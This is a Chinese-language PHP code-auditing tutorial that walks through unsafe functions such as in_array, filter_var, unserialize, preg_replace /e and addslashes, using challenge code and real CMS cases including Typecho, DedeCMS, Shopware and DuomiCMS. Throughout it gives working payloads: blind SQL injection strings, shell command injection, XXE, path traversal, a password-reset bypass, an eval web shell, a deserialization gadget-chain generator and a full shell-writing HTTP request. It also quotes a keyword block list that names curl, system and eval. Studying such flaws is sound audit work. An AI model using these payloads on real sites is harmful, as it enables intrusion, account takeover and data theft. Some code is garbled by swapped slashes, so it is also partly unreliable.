in_array函數(shù)缺陷Wish ListCodeclass Challenge { const UPLOAD_DIRECTORY = './solutions/'; private $file; private $whitelist; public function __construct($f" />

国产成人精品无码青草_亚洲国产美女精品久久久久∴_欧美人与鲁交大毛片免费_国产果冻豆传媒麻婆精东

18143453325 在線咨詢 在線咨詢
18143453325 在線咨詢
所在位置: 首頁 > 營銷資訊 > 網(wǎng)站運(yùn)營 > php代碼審計學(xué)習(xí)之函數(shù)缺陷

php代碼審計學(xué)習(xí)之函數(shù)缺陷

時間:2023-04-29 08:51:01 | 來源:網(wǎng)站運(yùn)營

時間:2023-04-29 08:51:01 來源:網(wǎng)站運(yùn)營

php代碼審計學(xué)習(xí)之函數(shù)缺陷:原文地址:

in_array函數(shù)缺陷

Wish List

class Challenge { const UPLOAD_DIRECTORY = './solutions/'; private $file; private $whitelist; public function __construct($file) { $this->file = $file; $this->whitelist = range(1, 24); } public function __destruct() { if (in_array($this->file['name'], $this->whitelist)) { move_uploaded_file( $this->file['tmp_name'], self::UPLOAD_DIRECTORY . $this->file['name'] ); } }}$challenge = new Challenge($_FILES['solution']);代碼為一個文件上傳的代碼,如果文件名存在于1-24中,則上傳文件

in_array檢查數(shù)組中是否存在某個值php弱類型比較時,6php會轉(zhuǎn)換為6,6在1-24中間,所以可以進(jìn)行上傳

piwigo2.7.1實例分析







漏洞分析

case 'rate' : { include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php'); rate_picture($page['image_id'], $_POST['rate']); redirect($url_self); }當(dāng)case為rate時,將變量rate和變量image_id傳入functions_rate.inc.php文件中的rate_picture函數(shù)

or !in_array($rate, $conf['rate_items']))查找變量rate是否存在于$conf['rate_items']當(dāng)中

$conf['rate_items']





$query = 'INSERT INTO '.RATE_TABLE.' (user_id,anonymous_id,element_id,rate,date) VALUES (' .$user['id'].',' .'/''.$anonymous_id.'/',' .$image_id.',' .$rate .',NOW());'; pwg_query($query); return update_rating_score($image_id);}$query = 'INSERT INTO '.RATE_TABLE.' (user_id,anonymous_id,element_id,rate,date) VALUES (' .$user['id'].',' .'/''.$anonymous_id.'/',' .$image_id.',' .$rate .',NOW());'; pwg_query($query); return update_rating_score($image_id);}只要rate為array(0,1,2,3,4,5)便可以進(jìn)行繞過,而in_array第三位未設(shè)置為true

1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#





CTF







function stop_hack($value){ $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|///*|/*|/././/|/.//|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval"; $back_list = explode("|",$pattern); foreach($back_list as $hack){ if(preg_match("/$hack/i", $value)) die("$hack detected!"); } return $value;}stop_hack用來過濾一些危險函數(shù)







獲取get的ID,通過stop_hack進(jìn)行過濾并拼接到sql語句中進(jìn)行查詢

and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))





https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.mdhttps://xz.aliyun.com/t/2160

filter_var函數(shù)缺陷

Twig

// composer require "twig/twig"require 'vendor/autoload.php';class Template { private $twig; public function __construct() { $indexTemplate = '<img ' . 'src="https://loremflickr.com/320/240">' . '<a href="{{link|escape}}">Next slide &raquo;</a>'; // Default twig setup, simulate loading // index.html file from disk $loader = new Twig/Loader/ArrayLoader([ 'index.html' => $indexTemplate ]); $this->twig = new Twig/Environment($loader); } public function getNexSlideUrl() { $nextSlide = $_GET['nextSlide']; return filter_var($nextSlide, FILTER_VALIDATE_URL); } public function render() { echo $this->twig->render( 'index.html', ['link' => $this->getNexSlideUrl()] ); }}(new Template())->render();使用escape和filter_var進(jìn)行過濾

默認(rèn)是使用了htmlspecialchars方法進(jìn)行過濾,

使用特定的過濾器過濾一個變量mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )& (& 符號) =============== &amp;" (雙引號) =============== &quot;' (單引號) =============== &apos;< (小于號) =============== &lt;> (大于號) =============== &gt;默認(rèn)只過濾雙引號,不過濾單引號,只有設(shè)置了:quotestyle 選項為ENT_QUOTES才會過濾單引號

javascript://comment%250aalert(1)

anchor-cms







源碼分析







function current_url() { return Uri::current();}public static function current() { if(is_null(static::$current)) static::$current = static::detect(); return static::$current; }public static function detect() { // create a server object from global $server = new Server($_SERVER); $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO'); foreach($try as $method) { // make sure the server var exists and is not empty if($server->has($method) and $uri = $server->get($method)) { // apply a string filter and make sure we still have somthing left if($uri = filter_var($uri, FILTER_SANITIZE_URL)) { // make sure the uri is not malformed and return the pathname if($uri = parse_url($uri, PHP_URL_PATH)) { return static::format($uri, $server); } // woah jackie, we found a bad'n throw new ErrorException('Malformed URI'); } } } throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.'); }關(guān)鍵代碼

if($uri = filter_var($uri, FILTER_SANITIZE_URL)) { // make sure the uri is not malformed and return the pathname if($uri = parse_url($uri, PHP_URL_PATH)) { return static::format($uri, $server); } // woah jackie, we found a bad'n throw new ErrorException('Malformed URI');public static function format($uri, $server) { // Remove all characters except letters, // digits and $-_.+!*'(),{}|//^~[]`<>#%";/?:@&=. $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL); // remove script path/name $uri = static::remove_script_name($uri, $server); // remove the relative uri $uri = static::remove_relative_uri($uri); // return argument if not empty or return a single slash return trim($uri, '/') ?: '/'; }沒有對xss進(jìn)行過濾

http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E





CTF







<?php $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"?><?php $url = $_GET['url']; // 獲取urlif(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){ //過濾url $site_info = parse_url($url); if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com結(jié)尾 exec('curl "'.$site_info['host'].'"', $result); echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center> <center><textarea rows='20' cols='90'>"; echo implode(' ', $result); } //命令執(zhí)行 else{ die("<center><h1>Error: Host not allowed</h1></center>"); }}else{ echo "<center><h1>Just curl sec-redclub.com!</h1></center><br> <center><h3>For example:?url=http://sec-redclub.com</h3></center>";}?>syst1m://"|ls;"sec-redclub.comsyst1m://"|cat<f1agi3hEre.php;"sec-redclub.com





實例化任意對象漏洞

Snow Flake

function __autoload($className) { //自動加載 include $className;}$controllerName = $_GET['c'];$data = $_GET['d']; //獲取get的c與d作為類名與參數(shù)if (class_exists($controllerName)) { $controller = new $controllerName($data['t'], $data['v']); $controller->render();} else { echo 'There is no page with this name';}class HomeController { private $template; private $variables; public function __construct($template, $variables) { $this->template = $template; $this->variables = $variables; } public function render() { if ($this->variables['new']) { echo 'controller rendering new response'; } else { echo 'controller rendering old response'; } }}如果存在如果程序存在 __autoload函數(shù),class_exists函數(shù)就會自動調(diào)用方法

/?c=../../../../etc/passwd

Shopware 5.3.3 (XXE)







代碼分析

























使用$this->Request()->getParam('sort')獲取sort,然后進(jìn)入RepositoryInterface類的unserialize方法







調(diào)用的是LogawareReflectionHelper類的unserialize方法

$serialized為傳入的sort變量,遍歷取出className,傳入createInstanceFromNamedArguments方法







新建一個反射類,并傳入?yún)?shù),類名與參數(shù)都為sort中的,而sort可控







/test/backend/ProductStream/loadPreview?_dc=1583825465339&sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions={}&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25





https://www.php.net/manual/zh/simplexmlelement.construct.php

CTF

<?phpclass NotFound{ function __construct() { die('404'); }}spl_autoload_register( function ($class){ new NotFound(); });$classname = isset($_GET['name']) ? $_GET['name'] : null;$param = isset($_GET['param']) ? $_GET['param'] : null;$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;if(class_exists($classname)){ $newclass = new $classname($param,$param2); var_dump($newclass); foreach ($newclass as $key=>$value) echo $key.'=>'.$value.'<br>';}當(dāng)class_exists時,調(diào)用__autoload方法,但是__autoload方法不存在,新建了一個spl_autoload_register方法,類似__autoload方法

public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )第一個參數(shù)為要搜索的文件名,第二個參數(shù)為第二個參數(shù)為選擇文件的哪個信息作為鍵名

http://127.0.0.1:8888/index.php?name=GlobIterator&param=./*.php&param2=0





http://127.0.0.1:8888/index.php?name=SimpleXMLElement&param=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E&param2=2


- 參考

https://www.php.net/manual/en/function.spl-autoload-register.php

strpos使用不當(dāng)引發(fā)漏洞

False Beard

class Login { public function __construct($user, $pass) { $this->loginViaXml($user, $pass); } public function loginViaXml($user, $pass) { if ( (!strpos($user, '<') || !strpos($user, '>')) && (!strpos($pass, '<') || !strpos($pass, '>')) ) { $format = '<?xml version="1.0"?>' . '<user v="%s"/><pass v="%s"/>'; $xml = sprintf($format, $user, $pass); $xmlElement = new SimpleXMLElement($xml); // Perform the actual login. $this->login($xmlElement); } }}new Login($_POST['username'], $_POST['password']);主要是用來查找字符在字符串中首次出現(xiàn)的位置。查找代碼中是否含有<與>的特殊符號,strpos在沒找到指定字符時會返回flase,如果第一個字符找到就返回0,0的取反為1,就可以注入xml進(jìn)行注入了

user=<"><injected-tag property="&pass=<injected-tag>

DeDecms V5.7SP2任意密碼重置漏洞













else if($dopost == "safequestion"){ $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM dede_member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("對不起,您的安全問題或答案回答錯誤","-1"); exit(); }}將傳入的mid進(jìn)行查詢,查詢用戶查詢對應(yīng)用戶的安全問題、安全答案、用戶id、電子郵件等信息,然后當(dāng)安全問題和答案不為空且等于之前的設(shè)置的問題和答案的時候,進(jìn)入sn函數(shù)







當(dāng)沒設(shè)置問題答案時,safequestion為0,safeanswer為null,語句變?yōu)榱?/b>

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)$row['safequestion'] == 0 $row['safeanswer'] == nullif ('0' == ''& null == ''){ sn()} if(false && true)





  • member/inc/inc_pwd_functions.php:150






  • member/inc/inc_pwd_functions.php:73
進(jìn)入newmail函數(shù)







如果$send == 'N'則發(fā)送重置郵件

sendmail($mailto,$mailtitle,$mailbody,$headers);/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval
  • member/resetpassword.php:96
如果$id為空則退出,如果row不為空,則執(zhí)行

if(empty($setp)) { $tptim= (60*60*24*3); $dtime = time(); if($dtime - $tptim > $row['mailtime']) { $db->executenonequery("DELETE FROM `dede_pwd_tmp` WHERE `md` = '$id';"); ShowMsg("對不起,臨時密碼修改期限已過期","login.php"); exit(); } require_once(dirname(__FILE__)."/templets/resetpassword2.htm"); }
  • member/templets/resetpassword2.htm:95
<input type="hidden" name="dopost" value="getpasswd"><input type="hidden" name="setp" value="2"><input type="hidden" name="id" value="<?php echo $id;?>" />將setp的屬性設(shè)置為2

  • member/resetpassword.php:123
elseif($setp == 2) { if(isset($key)) $pwdtmp = $key; $sn = md5(trim($pwdtmp)); if($row['pwd'] == $sn) { if($pwd != "") { if($pwd == $pwdok) { $pwdok = md5($pwdok); $sql = "DELETE FROM `dede_pwd_tmp` WHERE `mid` = '$id';"; $db->executenonequery($sql); $sql = "UPDATE `dede_member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';"; if($db->executenonequery($sql)) { showmsg('更改密碼成功,請牢記新密碼', 'login.php'); exit; } } } showmsg('對不起,新密碼為空或填寫不一致', '-1'); exit; } showmsg('對不起,臨時密碼錯誤', '-1'); exit; }如果key等于$row['pwd'],則重置密碼成功

漏洞驗證

  • 訪問重置密碼鏈接獲取key
member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3





  • 重置密碼
member/resetpassword.php?dopost=getpasswd&id=3&key=VeRkLvEU





CTF

  • 環(huán)境搭建






  • buy.php
<script type="text/javascript" src="js/buy.js"></script>
  • bug.js
function buy(){ $('#wait').show(); $('#result').hide(); var input = $('#numbers')[0]; if(input.validity.valid){ var numbers = input.value; $.ajax({ method: "POST", url: "api.php", dataType: "json", contentType: "application/json", data: JSON.stringify({ action: "buy", numbers: numbers }) }).done(function(resp){ if(resp.status == 'ok'){ show_result(resp); } else { alert(resp.msg); } }) } else { alert('invalid'); } $('#wait').hide();}將用戶提交的數(shù)字傳入到api.php的buy函數(shù)

  • api.php
for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } }由于是==,可進(jìn)行弱類型比較,傳入7個true

  • payload
[true,true,true,true,true,true,true]
  • 購買flag






escapeshellarg與escapeshellcmd使用不當(dāng)

escapeshellcmd: 除去字串中的特殊符號 escapeshellarg 把字符串轉(zhuǎn)碼為可以在 shell 命令里使用的參數(shù)

postcard

  • code
class Mailer { private function sanitize($email) { if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { return ''; } return escapeshellarg($email); } public function send($data) { if (!isset($data['to'])) { $data['to'] = 'none@ripstech.com'; } else { $data['to'] = $this->sanitize($data['to']); } if (!isset($data['from'])) { $data['from'] = 'none@ripstech.com'; } else { $data['from'] = $this->sanitize($data['from']); } if (!isset($data['subject'])) { $data['subject'] = 'No Subject'; } if (!isset($data['message'])) { $data['message'] = ''; } mail($data['to'], $data['subject'], $data['message'], '', "-f" . $data['from']); }}$mailer = new Mailer();$mailer->send($_POST);新建一個MAil類進(jìn)行郵件發(fā)送

  • Php內(nèi)置函數(shù)mail
bool mail ( string $to , 接收人 string $subject , 郵件標(biāo)題 string $message [, 征文 string $additional_headers [, 額外頭部 string $additional_parameters ]] 額外參數(shù))
  • Linux中的額外參數(shù)
-O option = valueQueueDirectory = queuedir 選擇隊列消息-X logfile這個參數(shù)可以指定一個目錄來記錄發(fā)送郵件時的詳細(xì)日志情況。-f from email這個參數(shù)可以讓我們指定我們發(fā)送郵件的郵箱地址。
  • 舉個例子(原文圖)






  • 結(jié)果
17220 <<< To: Alice@example.com 17220 <<< Subject: Hello Alice! 17220 <<< X-PHP-Originating-Script: 0:test.php 17220 <<< CC: somebodyelse@example.com 17220 <<< 17220 <<< <?php phpinfo(); ?> 17220 <<< [EOF]
  • filter_var()問題(FILTER_VALIDATE_EMAIL)
filter_var() 問題在于,我們在雙引號中嵌套轉(zhuǎn)義空格仍然能夠通過檢測。同時由于底層正則表達(dá)式的原因,我們通過重疊單引號和雙引號,欺騙 filter_val() 使其認(rèn)為我們?nèi)匀辉陔p引號中,這樣我們就可以繞過檢測。
”aaa’aaa”@example.com
  • escapeshellcmd() 和 escapeshellarg()(會造成特殊字符逃逸)






  • 逃逸過程分析
$param = "127.0.0.1' -v -d a=1";$a = escapeshellcmd($param);$b = escapeshellarg($a);$cmd = "curl".$b;var_dump($a)."/n";var_dump($b)."/n";var_dump($cmd)."/n";system($cmd);傳入127.0.0.1' -v -d a=1,escapeshellarg首先進(jìn)行轉(zhuǎn)義,處理為'127.0.0.1'/'' -v -d a=1',接著escapeshellcmd處理,處理結(jié)果為'127.0.0.1'/'' -v -d a=1/',/ 被解釋成了 / 而不再是轉(zhuǎn)義字符

參考

https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html

正則使用不當(dāng)導(dǎo)致的路徑穿越問題

Frost Pattern

  • code
class TokenStorage { public function performAction($action, $data) { switch ($action) { case 'create': $this->createToken($data); break; case 'delete': $this->clearToken($data); break; default: throw new Exception('Unknown action'); } } public function createToken($seed) { $token = md5($seed); file_put_contents('/tmp/tokens/' . $token, '...data'); } public function clearToken($token) { $file = preg_replace("/[^a-z.-_]/", "", $token); unlink('/tmp/tokens/' . $file); }}$storage = new TokenStorage();$storage->performAction($_GET['action'], $_GET['data']);
  • preg_replace(函數(shù)執(zhí)行一個正則表達(dá)式的搜索和替換)
  • payload
$action =delete$data = ../../config.php

WeEngine0.8

  • web/source/site/category.ctrl.php:176
file_delete文件刪除函數(shù)




  • framework/function/file.func.php:294
查看file_delete函數(shù)







  • 追朔$file變量從何而來
if (!empty($navs)) { foreach ($navs as $row) { file_delete($row['icon']); }
  • 追朔$navs從何而來
$navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
  • web/source/site/category.ctrl.php:137






  • web/source/site/category.ctrl.php:130






$nav['icon'] 即為文件刪除函數(shù)的參

parse_str函數(shù)缺陷

  • parse_str
parse_str的作用就是解析字符串并且注冊成變量,它在注冊變量之前不會驗證當(dāng)前變量是否存在,所以會直接覆蓋掉當(dāng)前作用域中原有的變量。





preg_replace函數(shù)之命令執(zhí)行

Candle

  • code
header("Content-Type: text/plain");function complexStrtolower($regex, $value) { return preg_replace( '/(' . $regex . ')/ei', 'strtolower("//1")', $value );}foreach ($_GET as $regex => $value) { echo complexStrtolower($regex, $value) . "/n";}
  • preg_replace(函數(shù)執(zhí)行一個正則表達(dá)式的搜索和替換)
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )$pattern 存在 /e 模式修正符,允許代碼執(zhí)行 /e 模式修正符,是 preg_replace() 將 $replacement 當(dāng)做php代碼來執(zhí)行

將GET請求傳過來的參數(shù)通過complexStrtolower函數(shù)執(zhí)行,preg_replace函數(shù)存在e修正符

  • payload
/S*=${phpinfo()}

參考

深入研究preg_replace與代碼執(zhí)行

CmsEasy 5.5

  • 環(huán)境搭建






漏洞分析

  • lib/tool/form.php:90
如果$form[$name]['default']內(nèi)容被匹配到就會執(zhí)行eval







  • cache/template/default/manage/#guestadd.php:175
全局搜索getform,主要注意catid是作為$name的







  • lib/table/archive.php:25
追朔catid,尋找到default







  • lib/tool/front_class.php:2367






  • lib/tool/front_class.php:493






  • lib/tool/front_class.php:332
$form[$name]['default']可控




  • lib/default/manage_act.php:29






  • 測試






str_replace函數(shù)過濾不當(dāng)

Rabbit

  • code
class LanguageManager { public function loadLanguage() { $lang = $this->getBrowserLanguage(); $sanitizedLang = $this->sanitizeLanguage($lang); require_once("/lang/$sanitizedLang"); } private function getBrowserLanguage() { $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en'; return $lang; } private function sanitizeLanguage($language) { return str_replace('../', '', $language); }}(new LanguageManager())->loadLanguage();
  • str_replace(子字符串替換)
str_replace(字符串1,字符串2,字符串3):將字符串3中出現(xiàn)的所有字符串1換成字符串2。str_replace(數(shù)組1,字符串1,字符串2):將字符串2中出現(xiàn)的所有數(shù)組1中的值,換成字符串1。str_replace(數(shù)組1,數(shù)組2,字符串1):將字符串1中出現(xiàn)的所有數(shù)組1一一對應(yīng),替換成數(shù)組2的值,多余的替換成空字符串。
  • payload
....// 或者 ..././

Metinfo 6.0.0

  • strstr
查找字符串的首次出現(xiàn)到結(jié)尾的字符串





漏洞分析

  • app/system/include/module/old_thumb.class.php:14






  • include/thumb.php:6
全局搜索




  • app/system/include/class/load.class.php:113






  • payload
http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最終用戶授權(quán)許可協(xié)議.txt

程序未恰當(dāng)exit導(dǎo)致的問題

Anticipation

  • code
extract($_POST);function goAway() { error_log("Hacking attempt."); header('Location: /error/');}if (!isset($pi) || !is_numeric($pi)) { goAway();}if (!assert("(int)$pi == 3")) { echo "This is not pi.";} else { echo "This might be pi.";}
  • extract
從數(shù)組中將變量導(dǎo)入到當(dāng)前的符號表





  • payload
pl=phpinfo()
  • 測試






FengCms 1.32

  • install/index.php
如果安裝完成會生成INSTALL文件,訪問文件如果存在此文件則會彈窗提示退出,但沒有及時exit,導(dǎo)致程序邏輯還是往下走,還是會安裝







Simple-Log1.6網(wǎng)站重裝漏洞

  • install/index.php
訪問文件如果存在此文件則會彈窗提示退出,但沒有及時exit,只是跳轉(zhuǎn)到首頁,導(dǎo)致程序邏輯還是往下走,還是會安裝







unserialize反序列化漏洞

Pumpkin Pie

  • code
class Template { public $cacheFile = '/tmp/cachefile'; public $template = '<div>Welcome back %s</div>'; public function __construct($data = null) { $data = $this->loadData($data); $this->render($data); } public function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:/d://', $data)) { return unserialize($data); } return []; } public function createCache($file = null, $tpl = null) { $file = $file ?? $this->cacheFile; $tpl = $tpl ?? $this->template; file_put_contents($file, $tpl); } public function render($data) { echo sprintf( $this->template, htmlspecialchars($data['name']) ); } public function __destruct() { $this->createCache(); }}new Template($_COOKIE['data']);
  • 題解
在loadData函數(shù)中使用到了unserialize反序列化方法,對傳進(jìn)來的$data進(jìn)行了反序列化,最后對Template進(jìn)行了實例化,將COOKIE中的data進(jìn)行了反序列化。

if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:/d://', $data))代碼對data進(jìn)行了判斷,不可以為對象,0:X,X不可以為數(shù)字,繞過方法可以使用array數(shù)組繞過第一個,在X前面加+繞過第二個限制,搭達(dá)到到達(dá)反序列化方法的步驟。在__destruct銷毀時會調(diào)用createCache方法寫入文件,達(dá)成目的。

  • payload
<?phpclass Template{ public $cacheFile = './test.php'; public $template = '<?php eval($_POST[xx])>';}$temp= new Template();$test = Array($temp);print(serialize($test));?>
  • 測試
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:26:"";}}





Typecho-1.1

  • 環(huán)境搭建






漏洞分析

  • install.php:230
將cookie中的__typecho_configbase64解碼之后進(jìn)行反序列化操作







  • 條件
如果finish不存在,或者存在config.inc.php文件$_SESSION['typecho']為空,則退出程序

if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit;}finish=1將反序列化后的結(jié)果傳遞給$config

  • install.php:232






  • var/Typecho/Db.php:114






變量adapterName = 'Typecho_Db_Adapter_' . 變量adapterName,如果adapterName是對象,會觸發(fā)__toString()方法

  • var/Typecho/Feed.php:223






  • var/Typecho/Feed.php:290
如果$item['author']->screenName為私有屬性或者不存在會觸發(fā)__get方法




public function __get($key) { return $this->get($key); }
  • var/Typecho/Request.php:295






call_user_fun回調(diào)函數(shù),$this->_param['scrrenName'] 的值設(shè)置為想要執(zhí)行的函數(shù),構(gòu)造 $this->_filter 為對應(yīng)函數(shù)的參數(shù)值self::RSS2 == $this->_type,type需要構(gòu)造,item['author']為觸發(fā)點,需要構(gòu)造this_items

  • 構(gòu)造payload
<?phpclass Typecho_Request{ private $_params = array(); private $_fifter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_fifter[0] = 'assert'; }}class Typecho_Feed{ private $_type; private $_item = array(); public function s__construct(){ $this->_type = 'RSS 2.0'; $item['author'] = new Typecho_Request(); $item['category']=Array(new Typecho_Request()); $this->_item[0]=$item; }}$x = new Typecho_Feed();$a = array( 'adapter' => $x, 'prefix' => 'Typecho_');echo base64_encode(serialize($a));?>





  • 測試






誤用htmlentities函數(shù)引發(fā)的漏洞

String Lights

  • code
$sanitized = [];foreach ($_GET as $key => $value) { $sanitized[$key] = intval($value);}$queryParts = array_map(function ($key, $value) { return $key . '=' . $value;}, array_keys($sanitized), array_values($sanitized));$query = implode('&', $queryParts);echo "<a href='/images/size.php?" . htmlentities($query) . "'>link</a>";
  • htmlentities
將字符轉(zhuǎn)換為 HTML 轉(zhuǎn)義字符ENT_COMPAT(默認(rèn)值):只轉(zhuǎn)換雙引號。 ENT_QUOTES:兩種引號都轉(zhuǎn)換。 ENT_NOQUOTES:兩種引號都不轉(zhuǎn)換。

  • 環(huán)境搭建






  • payload
a%27onclick%3Dalert%281%29%2f%2f=1

DM企業(yè)建站系統(tǒng) v201710

漏洞分析

  • admindm-yourname/mod_common/login.php:63






  • 直接拼接數(shù)據(jù)
$ss_P="select * from ".TABLE_USER." where email='$user' and ps='$pscrypt' order by id desc limit 1";
  • component/dm-config/global.common.php:421
ENT_NOQUOTES兩種引號都不轉(zhuǎn)換,造成注入




特定場合下addslashes函數(shù)的繞過

Turkey Baster

  • code
class LoginManager { private $em; private $user; private $password; public function __construct($user, $password) { $this->em = DoctrineManager::getEntityManager(); $this->user = $user; $this->password = $password; } public function isValid() { $user = $this->sanitizeInput($this->user); $pass = $this->sanitizeInput($this->password); $queryBuilder = $this->em->createQueryBuilder() ->select("COUNT(p)") ->from("User", "u") ->where("user = '$user' AND password = '$pass'"); $query = $queryBuilder->getQuery(); return boolval($query->getSingleScalarResult()); } public function sanitizeInput($input, $length = 20) { $input = addslashes($input); if (strlen($input) > $length) { $input = substr($input, 0, $length); } return $input; }}$auth = new LoginManager($_POST['user'], $_POST['passwd']);if (!$auth->isValid()) { exit;
  • 題解
實例化一個LoginManager類名,接收用戶傳遞的user,passwd兩個參數(shù),并通過isValid方法判斷是否合法,sanitizeInput方法,通過addslashes方法進(jìn)行過濾,再截取20位返回。

  • addslashes
作用:在單引號(')、雙引號(")、反斜線(/)與 NUL( NULL 字符)字符之前加上反斜線
  • substr
string substr ( string $string , int $start [, int $length ] )返回字符串 string 由 start 和 length 參數(shù)指定的子字符串。

  • user
1234567890123456789'
  • sql
select count(p) from user where user = '1234567890123456789/' AND password = 'or 1=1#'
  • payload
user=1234567890123456789'&passwd=or 1=1#

蘋果CMS視頻分享程序 8.0

  • 環(huán)境搭建






漏洞分析

  • inc/common/template.php:754
$lp['wd']直接拼接SQL語句,造成SQL注入







  • inc/module/vod.php:96






  • inc/common/function.php:266
對傳進(jìn)來的參數(shù)進(jìn)行過濾







$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';中可以知道wd參數(shù)是通過REQUEST方法獲取的然后進(jìn)行過濾。

  • inc/common/360_safe3.php:27
跟蹤chkSql函數(shù)

將傳進(jìn)來的參數(shù)進(jìn)行urldecode解碼之后,通過StopAttack方法,最后通過htmlEncode方法,最后返回。







  • inc/common/360_safe3.php:12
跟進(jìn)StopAttack方法,使用preg_match方法進(jìn)行過濾







  • inc/common/360_safe3.php:57 跟蹤$getfilter方法






  • inc/common/function.php:572
跟蹤一下htmlEncode方法,針對 & 、 ' 、 空格 、 " 、 TAB 、 回車 、 換行 、 大于小于號 等符號進(jìn)行實體編碼轉(zhuǎn)換







  • inc/common/template.php:560












而 wd 是可以從 REQUEST 中獲取到,所以wd 實際上是可控的。

  • 漏洞思路
SQL注入點是字符型注入,htmlEncode方法實體編碼了單引號,最后進(jìn)行了url解碼操作,可以通過雙編碼繞過,htmlEncode方法沒有過濾反斜杠,而addslashes方法會過濾反斜杠。

  • 構(gòu)造SQL
wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63

從變量覆蓋到getshell

Snowman

  • code
class Carrot { const EXTERNAL_DIRECTORY = '/tmp/'; private $id; private $lost = 0; private $bought = 0; public function __construct($input) { $this->id = rand(1, 1000); foreach ($input as $field => $count) { $this->$field = $count++; } } public function __destruct() { file_put_contents( self::EXTERNAL_DIRECTORY . $this->id, var_export(get_object_vars($this), true) ); }}$carrot = new Carrot($_GET);
  • payload
id=shell.pho&shell=',)%0a//
  • 測試






DuomiCMS_3.0

  • 環(huán)境搭建






漏洞分析

  • duomiphp/common.php:52
查看全局變量注冊代碼

foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);}
  • duomiphp/common.php:36
查看_RunMagicQuotes方法, _RunMagicQuotes 函數(shù)將特殊符號,使用 addslashes 函數(shù)進(jìn)行轉(zhuǎn)義處理







  • admin/admin_ping.php:13
全劇追蹤fwrite函數(shù),$weburl與token來源于post,可控。







weburl 變量和 token 變量從 POST方式獲取,經(jīng)過了_RunMagicQuotes方法還有webscan.php的過濾,但是可以寫shell

admin/admin_ping.php文件得需要admin身份才可以有訪問權(quán)限寫shell

  • admin/config.php:28






  • duomiphp/check.admin.php:41






  • admin/login.php:62






  • duomiphp/check.admin.php:72
跟進(jìn)checkUser方法













  • 登陸管理用戶查看組
可知用戶組和userid均為1




  • 覆蓋 session 的值
重點注意這里git項目上的覆蓋session有問題,可以使用這個payload

member/share.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1
  • payload
```POST /admin/admin_ping.php?action=set HTTP/1.1 Host: http://www.test.com:8888 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 34

weburl=";phpinfo();//&token=

